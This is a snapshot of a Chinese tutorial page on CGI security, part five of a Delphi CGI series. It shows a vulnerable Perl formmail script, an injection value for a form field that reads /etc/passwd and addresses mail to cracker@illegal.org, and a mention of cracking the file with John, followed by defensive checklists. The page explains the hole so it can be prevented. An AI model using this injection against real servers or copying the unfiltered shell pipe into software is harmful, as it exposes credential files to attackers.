说三道四技术文摘-感悟人生的经典句子
说三道四 > 文档快照

用Delphi编写CGI程序(五)

HTML文档下载 WORD文档下载 PDF文档下载
用Delphi编写CGI程序(五)

CGI 程 序 的 功 能 是 强 大 的

但 正 是 因 为 如 此 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话,将 使 您 的 系 统 千 疮 百 孔。 本 篇 就 CGI的 安 全 性 问 题 做 一 讨 论。

3 、 CGI 的 安 全 性

CGI 程 序 的 功 能 是 强 大 的 , 它 不 仅 可 以 具 有 普 通 程 序 的 功 能 , 而 且 可 以 将 程 序 的 结 果 发 布 在 WEB 上 。 但 正 是 因 为 CGI 程 序 的 功 能 如 此 强 大 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话 , 将 使 您 的 系 统 千 疮 百 孔 , 让 一 些 非 法 用 户 有 机 可 乘 。

这 里 所 讲 到 的 安 全 性 并 不 是 CGI 规 范 引 起 的 , 而 是 编 程 和 系 统 设 置 不 当 引 起 的 。 CGI 规 范 使 用 户 可 以 利 用 服 务 器 的 计 算 能 力 , 是 在 服 务 器 上 的 计 算 不 当 导 致 了 系 统 的 安 全 漏 洞 。 下 面 我 给 出 一 个 在 UNIX 系 统 上 的 一 个 CGI 安 全 漏 洞 , 这 个 漏 洞 是 非 常 常 见 的 。

# !/usr/local/bin/perl

# formmail.cgi

require "cgi.pl";

# Launch e-mail application "/bin/mail" with Subject: header from the "formname" field

open (MAIL

|/bin/mail -s '

.$input{"formname"}."' webweave");

# Add send "formcontents" field as the body of the message

print MAIL $input{"formcontents"};

close(MAIL);

exit(0);

在 这 个 例 子 中 , CGI 程 序 将 表 单 的 信 息 提 交 给 /bin/mail , 并 发 送 到 webveave 服 务 器 上 去 。 在 大 多 数 情 况 下 这 个 CGI 程 序 可 以 正 常 完 成 任 务 , 但 此 CGI 程 序 未 过 滤 用 户 在 WEB 表 单 中 输 入 的 信 息 , 因 此 留 下 了 安 全 隐 患 。 当 用 户 或 别 有 用 心 的 人 输 入 了 错 误 的 数 据 可 能 导 致 系 统 错 误 或 得 到 不 应 有 的 权 限 。

例 如 用 户 在 WEB 表 单 的 "formname" 中 填 写 下 面 的 内 容 :

ls /etc/passwd 'cracker@illegal.org #'    在 用 户 的 WEB 浏 览 器 中 就 会 显 示 出 /etc/passwd 的 内 容 , 若 此 UNIX 系 统 的 passwd 文 件 没 有 shadow , 用 户 就 可 以 利 用 此 内 容 , 使 用 crack jack 或 crack john 就 可 以 试 图 破 解 密 码 !    前 面 已 经 提 到 , CGI 的 安 全 是 程 序 员 和 系 统 管 理 员 都 应 负 责 的 , 下 面 我 就 分 别 讲 一 讲 二 者 应 注 意 的 事 :    系 统 管 理 员 的 工 作 :    1 、 与 程 序 员 合 作 , 共 享 有 关 服 务 器 安 全 的 信 息 , 同 时 互 相 检 查 代 码 , 及 时 发 现 代 码 中 的 安 全 问 题 。    2 、 使 用 好 的 服 务 器 软 件 , 经 常 去 服 务 器 软 件 的 WEB 站 点 了 解 最 新 的 信 息 。    3 、 将 服 务 器 的 用 户 限 制 在 特 定 的 网 络 主 机 上 , 使 用 服 务 器 的 安 全 管 理 功 能 、 设 置 路 由 存 取 控 制 等 。    4 、 对 CGI 功 能 进 行 限 制 , 部 分 高 级 服 务 仅 限 于 信 任 的 用 户 , 将 测 试 中 的 CGI 程 序 的 使 用 限 制 在 开 发 人 员 中 , 只 提 供 给 用 户 经 过 测 试 的 CGI 程 序 。    5 、 在 使 用 其 他 人 的 CGI 程 序 时 , 仔 细 检 查 代 码 。    6 、 将 CGI 程 序 的 使 用 限 制 在 受 保 护 的 环 境 中 , 服 务 器 设 置 成 非 特 权 用 户 访 问 , 并 为 CGI 程 序 专 门 设 立 一 个 运 行 帐 户 或 组 。    7 、 将 运 行 CGI 程 序 的 服 务 器 设 置 在 防 火 墙 外 , 这 一 点 一 定 要 注 意 , CGI 程 序 的 服 务 器 必 须 设 置 在 防 火 墙 外 , 如 果 设 置 在 防 火 墙 内 , 一 旦 非 法 用 户 找 到 了 CGI 程 序 服 务 器 的 安 全 漏 洞 , 他 就 可 以 控 制 在 防 火 墙 内 的 所 有 主 机 !    8 、 降 低 CGI 程 序 的 运 行 优 先 级 , 防 治 用 户 恶 意 运 行 大 量 的 CGI 程 序 导 致 服 务 器 过 载 。    9 、 订 阅 有 关 网 络 安 全 性 的 邮 件 , 参 加 网 络 安 全 性 的 新 闻 组 。    CGI 程 序 员 的 工 作 :    1 、 同 系 统 管 理 员 合 作 , 了 解 系 统 的 安 全 信 息 , 相 互 检 查 代 码 。    2 、 使 用 可 靠 的 库 程 序 , 检 查 库 程 序 的 源 代 码 。    3 、 从 REMOTE_HOST 中 得 到 客 户 机 名 , 将 一 些 高 级 功 能 限 制 在 受 信 任 的 客 户 机 。    4 、 如 果 WEB 服 务 器 提 供 HTTP 口 令 确 认 , 使 用 HTTP 口 令 来 限 制 访 问 。    5 、 过 滤 用 户 的 输 入 , 去 除 非 法 的 输 入 数 据 。    6 、 限 制 输 入 数 据 的 大 小 , 防 止 恶 意 用 户 输 入 大 量 数 据 使 服 务 器 过 载 。    7 、 避 免 传 递 用 户 数 据 到 其 他 应 用 程 序 , 以 免 用 户 调 用 命 令 解 释 器 或 利 用 其 他 应 用 程 序 的 安 全 漏 洞 。    8 、 发 现 了 CGI 程 序 的 漏 洞 时 , 不 要 对 任 何 人 讲 , 更 不 要 在 程 序 中 注 释 说 明 , 您 应 该 作 的 就 是 立 刻 修 补 漏 洞 。    9 、 学 作 攻 击 者 , 找 出 CGI 程 序 的 安 全 漏 洞 。

挑战传统关系型数据库:Facebook图形数据库TAO揭秘 揭秘“棱镜计划”幕后的技术 你更新了吗?Visual Studio 2013 Preview和.NET 4.5.1同时发布 你主要使用什么编程语言? 跨平台游戏开发工具App Game Kit或将新增更多强悍功能 移动应用推广的那些事儿:应用发现篇 DDoS攻击也能成为一种云计算服务 Netflix开源Hadoop集群调度工具:日处理近万作业、上千TB数据 传谷歌正开发自己的视频游戏主机和智能手表 AMD APU战略转型:全民四核,发力“云+端” 富士康自主研发智能手表 惹苹果发来订单 开发者眼中的iOS 7:重设计过程没想象中那么糟 游戏引擎Unity宣布免费支持Windows Phone 8及Xbox One 蝉游记王益善专访:7人小团队实现App 30万下载量 去除IE 10广告的两种方法 直接拿来用!最火前端开源项目(二) 工作变得简单又高效 试试这八个WebApp 移动周报:生于微信,疯狂猜图的推广经 DataTorrent 将数据分析速度从“实时”提升至“现在时” 华为FusionCube开启全球规模商用 黑暗架构:以最少时间完成系统升级并获客户认可的开发之道 Hadoop Summit 2013见闻:创业与Hadoop 2.0不可阻挡 Facebook的清洁能源改革——革命尚未成功,仍需努力 YARN或将成为Hadoop新发力点 主流编程语言属性一览(多图) 粉碎硬件复杂论:开发者不懂硬件运行的方式怎么可以?! 最新版Chrome OS加入Word和Excel编辑功能 直指微软 传诺基亚将购诺西全部股份,疑为出售手机业务做准备? 优秀技术领导者的修成之道 直接拿来用!最火前端开源项目(三) 第八届开源中国开源世界高峰论坛成功举办 分不是问题,望高手详解 允许DBGrid对记录进行编辑,在线等待,急急急~ ISO 1054 标准 请问如何使用PFC中数据窗口的resize服务? 页面设置问题!请教!! 哪里有 趣味程序导学 java2這本書的源代碼下載﹖ 关于win2000AD的一个问题?(急) 为什么找不到a.out文件 oracle 的SGA问题,性能优化 写功能模块报告含流程图的问题 请教关于DOM NodeFilter的相关用法! 关于BREW 买书落,便宜啊......(UP有分) 请问,通过java怎么访问其他机器的web services?提供思路就给分! 现在我面临着给50多台机装win2000的任务,怎么办 oracle 的SGA问题,性能优化 刚刚完成的改版公司主页。大家去支持一下小弟呀! ? 有谁知道上海的做J2EE薪水有多少(平均水平),谢谢大家! 几个算法问题,参与者都有分! .NET制作的安装程序安装好后如果删除了打包的一个文件,再次通过快截方式启动时会重新安装,怎么不让他安装? 哪位能给提供一套ISO文档的实例? 如果procedure中执行的是一条SQL语句,如何得到返回的数据集? 可不可以在单线乘里开2个SOCKET? 帮我看看这个c语言的程序! 怎样处理窗口标题? 高分求助 !!!怎样利用INTERNET实现异地多台机器互连? 很简单,如何得到当前的时间和日期?(在线等待) 请问哪里有用applet做的,能绘制数学曲线的动态演示系统?各位,请不吝赐教 今天大清早被人诅咒! Delete 多个表时一条语句怎样写?? 请教:如何获取文本框中SQL语句。50分 日期型的格式应该怎样写?? windows xp internet 浏览器的问题 大家帮我看看这段代码:它是如何得到name和phone的值,并写到文件中取得 100分求李维的delphi5.x分布式系统开发的源代码,电子书我已经有 奇怪。为何win2000的搜索选项中的日期控件是Delphi中的样式?欢迎来讨论,给分!!! 请教一个数据库查询的问题! 哥、姐帮帮小第,一生成并打印表格问题(有图片及字体适应),急急,十万火急。 怎样在ASP.NET的页面中,把DataGrid的表头改名??急急急!!! 在线求教:怎样在自己定义的函数里封装自己的MouseMove类??? (高手求救………100分)怎么样用socket(http)实现上载!请提供思路或source code! 怎样调用Dll中导出的变量??? 那位大哥有关于颜色渐变的算法的代码,给小弟一份 小弟万分感谢 颜色渐变的算法 颜色渐变的算法 问一个有关缓存的问题 更换基类的问题? 感谢上学期大家的帮助——散分 一个奇怪的问题,100在线送给你!!! 用rave生成的pdf格式报表,中文字符怎么是乱码? 请进来: windows 2000 能不能用API的方式将Imagelist中的图画在命令按钮(Commandbutton)上? 中华民族为什么又被称为华夏民族? 甲苯 和硝酸 反应的化合价变化 21-三体风险度,18-三体风险度是什么意思1期唐氏综合征筛查(早期)的21-三体风险度为1:12000是低风险,18-三体风险度为1:100000低风险请问是什么意思,看到结果后心里有忐忑不安 静电是什么?他的有现象?还有就是我们普通用的电是什么? 五年级英语作文:My Bag 汽轮发电机的有功调节并网的汽轮发电机的有功功率是靠调节蒸气的进汽量来调,那蒸汽量增加,发电机的转速不会升高吗,整个过程是怎么调节的.能举例子吗? 什么是保险学? 某单位存入银行A、B两种不同性质用途的存款共80万元,A种存款的年利率为5.5%,B中存款的年利率为4.5%.某单位存入银行A、B两种不同性质用途的存款共80万元,A种存款的年利率为5.5%,B中存款的年 从龙图腾的产生过程中得到了什么启示 在保险学中“逆向选择”是什么意思?拜托了各位 谢谢 某单位存入银行A,B两种不同用途的存款共40万元,帮帮!)某单位存入银行A,B两种不同用途的存款共40万元,A种存款的年利率为5.5%,B种存款的年利率为4.5%,上缴国家利息税20%,该单位一年可获利息 以下化学反应的产物与反应物的浓度或用量无关的是A.AlCl3溶液中通入NH3 B.Cu与 硝酸溶液反应C.CO2通入NaOH溶液中 D.Na与O2反应ABC都知道,但是不明白D……D选项中不应该是产物与反应条件有 中华人民共和国名字的由来这个名字是怎么来的?当初难道没有叫别的名字么?中华人民民主共和国 中华民主共和国中华人民民主社会主义共和国 中华社会主义共和国中华人民社会主义共和国 某单位存入银行A,B两种不同性质用途的存款共80万元,A种存款年利率为5.5%B种为4.5%上缴国家利息税率为20...某单位存入银行A,B两种不同性质用途的存款共80万元,A种存款年利率为5.5%B种为4.5%上缴 与化学反应中反应物用量有关的离子方程过量碳酸氢钠与氢氧化钙反应,按设一法 不足量前系数为一,离子数目之,比符合不足量反应物的化学式,则钙离子与氢氧根之比应为1比2,那为什么 什么是中国的言论自由 甲苯与HNO3反应方程式,1 写出来最好 2 请配平 3 请问为什么那生成物不是叫1,3,5-三硝基甲苯 在放映电影时,放映机的镜头上只有一只很小的飞虫在爬行,我们从银幕上将观察到~A.小飞虫对银幕上的画面没有任何影响 B.银幕上出现一个较大的飞虫的像 C.银幕上出现一个移动的黑斑 D. 体现中国古代的言论自由的例子有哪些 物体处于静止状态时,一定受到平衡力作用? 数字及胶片放映机和胶片放映机有什么区别? 给下列的词语补充叠词枪声( )( ) 风声( )( ) 炮声( ) ( )钟声( )( ) 雨声( ) ( ) 鸟声( ) ( ) 在我国为什么要保护公民的言论自由? 换西铁城光动能手表的电池要多少钱,要多久才得? 电磁波的特征有哪些?有关电磁波的知识就行! 英语作文:My Bag 光动能什么概念,这样手表需要更换电池或需要电池吗? (求助)“债法”用英语怎么说啊?顺便翻译一下 当代西方文化社会思潮怎么用英语说 my bag最多六句 西铁城光动能手表,是永远都不用更换电池吗?我比较喜欢西铁城的光动能男表,但我不喜欢更换电池.如果要是西铁城光动能表需要更换电池,我就更老牌子的偏爱机械表.拿出全部赏分啦,呵呵. RO膜安装反了会怎么样 My bag is_____________后面是?答案的开头字母是R 主题:是过年不收压岁钱而收祝福语的手抄报写什么内容 壁虎吃什么东西? 怎么对I lost my bag中的my bag进行题问 避雷针是什么原理制成的 大家看看这是什么东西,尾部很长额!大约20厘米,我很好奇啊! 甲苯和硝酸反应会沉淀么? 避雷针的原理 arduino做循迹智能小车的问题用的红外传感器,检测地面的白纸黑线循迹,传感器不听话··很难调好怎么办?定义在void setup的中断是同级中断吗如果要中断嵌套,是把attachInterrupt写在中断函数里面 甲苯与HNO3反应方程式,写出来最好.1 2 请问为什么那生成物不是叫1,5-三硝基甲苯 这不是只有一个硝基吗?怎么名字有三个硝基? 龙图腾是什么意思 如何智能小车如何在盲走时走直线 法律:对言论自由限制的标准方式有哪些? 现在哪一些RO膜好一些 有没有关于2012年之后的末世预言?那2012要是没事,会不会又挖出来某个新的历史预言资料那?呵呵,要是2012没事,那以后又没有什么 2020、2050、3012什么预言的了,那岂不是很没意思啦?还有,那样是 某企业存入银行甲乙两种不同性质的存款,共40万.甲存款的年利率5.4%乙种存款年利率4.6%,上缴给国家的利息税为20%该企业一年可获利息收入15360元.求甲乙两存款各是多少? 雷暴是什么?长点,详细点.要快!急!急!急! 请高手提供小车走定点走方格C语言能实现象视频里面小车的效果. 你怎么看待言论自由 言论自由有什么限制吗 什么的雷暴 如何利用超声波让智能小车(左右两边各装一个超声波)沿直线行走?就是始终使它与墙面保持某个特定的距离,墙在车左边时用左边的超声波控制,墙在车右边时用右边的超声波控制,遍历完整 某公司存入银行甲乙两种不同性质的存款共20万元,甲种存款的年利率为1.5%,乙种存款的年利率为3.5%,该公司一年共得利息4600元,求甲乙两种存款各多少万元?(二元一次方程组) i love rock'n roll 的中文意思 汽车前面的小方格是什么如题,如图,起什么作用呢 My bag 英语作文1.What colour is your bag?2.Has it got straps?How many?3.Is it big or small?4.Has it got pockets?How many? 怎样确保汽轮发电机安全运行 明朝因为满清入关和李自成的起义灭亡了,宋朝在金兵南侵时也有钟相杨么的起义,为什么宋朝能保住江山? 谁会写关于My bag的英语作文 龙图腾的详细产生过程 20余省区市今晨现雾霾天 冷空气驱散广州疾控中心:大气污染与呼吸疾病死亡中国提速收入分配制度改革 专家称国企第六届金光印艺大奖颁奖典礼在杭圆满落教师被调职劝钉子户婆婆 评论称是株连菲基层选举前夕有22人被杀害 警方逮过半日本人反对秘密保护法 忧日政府将日本拟引进上百架美国无人机“监视”钓国家德比主裁抢梅西C罗风头 皇马三后农产品供应有保障 物价未来总体走势温李娜三大转变打造最佳赛季 全年胜率高维特尔提前加冕总冠军 F1历史仅次舒国务院取消有限责任公司注册资本3万元全国65个城市代表在南宁探讨机关党建濒临灭绝的北沙牛有望在浙江宁波保种、媒体称转基因食品是各国大趋势 引力大网传“五台山僧人群殴女游客”视频被证巴武装分子向以色列发射火箭弹 其中一鄱阳湖江豚死亡原因公布:确系被螺旋桨西班牙《国家报》:斯诺登揭露的间谍术报告称美国一年有500名少年儿童因枪别闹笑话!这才是全新宝马7系的正确打简约欧式风格客厅效果图25只白化症动物,虽然长不一样,但是马凡舒晒集体照疑告别段暄:天下没有不俄土风暴搅动全球市场专家学者武汉探讨城市管理“共治与法治佳木斯富锦市棚户区改造快速推进国台办:两岸共享抗战资料 有利于牢记国台办:希望大陆居民赴台旅游健康有序美国侨报:如消除民众的“养老焦虑”?美国一家三口患癌 女儿8岁就得乳腺癌国台办:完善政策 搭建两岸青年创业合马凡舒晒集体照疑送别段暄:天下没有不蚂蚁达客官网域名你猜中了开头猜不中结享运车 汽车托运专家 保费一降再降乐视小米无意凑一起 看到一加金耳首销旅行,把来生当成今日想去约翰霍普金斯的同学看这里“查缺补索芙特急病乱投医 第4次重组溢价1步行者19记三分创队史纪录 泡椒迈神真心未必换到真心
备案号:鲁ICP备13029499号-2 说三道四 www.s3d4.cn 说三道四技术文摘